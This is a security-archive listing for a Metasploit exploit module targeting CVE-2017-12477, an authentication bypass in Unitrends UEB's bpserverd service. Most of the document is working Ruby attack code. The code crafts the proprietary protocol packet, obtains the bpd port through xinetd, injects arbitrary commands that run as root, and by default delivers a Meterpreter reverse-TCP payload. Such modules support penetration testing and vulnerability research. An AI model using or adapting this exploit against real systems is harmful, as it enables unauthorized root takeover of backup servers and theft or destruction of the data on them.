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Unitrends UEB bpserverd Authentication Bypass / Remote Command Execution

Unitrends UEB bpserverd Authentication Bypass / Remote Command Execution
Posted Oct 21, 2017
Authored by Benny Husted, Cale Smith, Jared Arave | Site metasploit.com

It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd, has an issue in which its authentication can be bypassed. A remote attacker could use this issue to execute arbitrary commands with root privilege on the target system.

tags | exploit, remote, arbitrary, root, protocol
advisories | CVE-2017-12477
MD5 | 6b1ce2c3fcd74a7db43ca487c3706403

Unitrends UEB bpserverd Authentication Bypass / Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'Unitrends UEB bpserverd authentication bypass RCE',
'Description' => %q{
It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
has an issue in which its authentication can be bypassed. A remote attacker could use this
issue to execute arbitrary commands with root privilege on the target system.
},
'Author' =>
[
'Jared Arave', # @iotennui
'Cale Smith', # @0xC413
'Benny Husted' # @BennyHusted
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86],
'CmdStagerFlavor' => [ 'printf' ],
'References' =>
[
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/ka640000000CcZeAAK/000005755'],
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2017-12477'],
['CVE', '2017-12477'],
],
'Targets' =>
[
[ 'UEB 9.*', { } ]
],
'Privileged' => true,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
'SSL' => false
},
'DisclosureDate' => 'Aug 8 2017',
'DefaultTarget' => 0))
register_options([
Opt::RPORT(1743)
])
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end

def check
s1 = connect(global = false)
buf1 = s1.get_once(-1).to_s
#parse out the bpd port returned
bpd_port = buf1[-8..-3].to_i

#check if it's a valid port number (1-65534)
if bpd_port && bpd_port >= 1 && bpd_port <= 65535
Exploit::CheckCode::Detected
else
Exploit::CheckCode::Safe
end
end

def execute_command(cmd, opts = {})

#append a comment, ignore everything after our cmd
cmd = cmd + " #"

# build the attack buffer...
command_len = cmd.length + 3
packet_len = cmd.length + 23
data = "\xa5\x52\x00\x2d"
data << "\x00\x00\x00"
data << packet_len
data << "\x00\x00\x00"
data << "\x01"
data << "\x00\x00\x00"
data << "\x4c"
data << "\x00\x00\x00"
data << command_len
data << cmd
data << "\x00\x00\x00"

begin
print_status("Connecting to xinetd for bpd port...")
s1 = connect(global = false)
buf1 = s1.get_once(-1).to_s

#parse out the bpd port returned, we will connect back on this port to send our cmd
bpd_port = buf1[-8..-3].to_i

print_good("bpd port recieved: #{bpd_port}")
vprint_status("Connecting to #{bpd_port}")

s2 = connect(global = false, opts = {'RPORT'=>bpd_port})
vprint_good('Connected!')

print_status('Sending command buffer to xinetd')

s1.put(data)
s2.get_once(-1,1).to_s

disconnect(s1)
disconnect(s2)

rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
fail_with(Failure::Unreachable, "#{peer} - Connection to server failed")
end

end

def exploit
print_status("#{peer} - pwn'ng ueb 9....")
execute_cmdstager(:linemax => 200)
end
end

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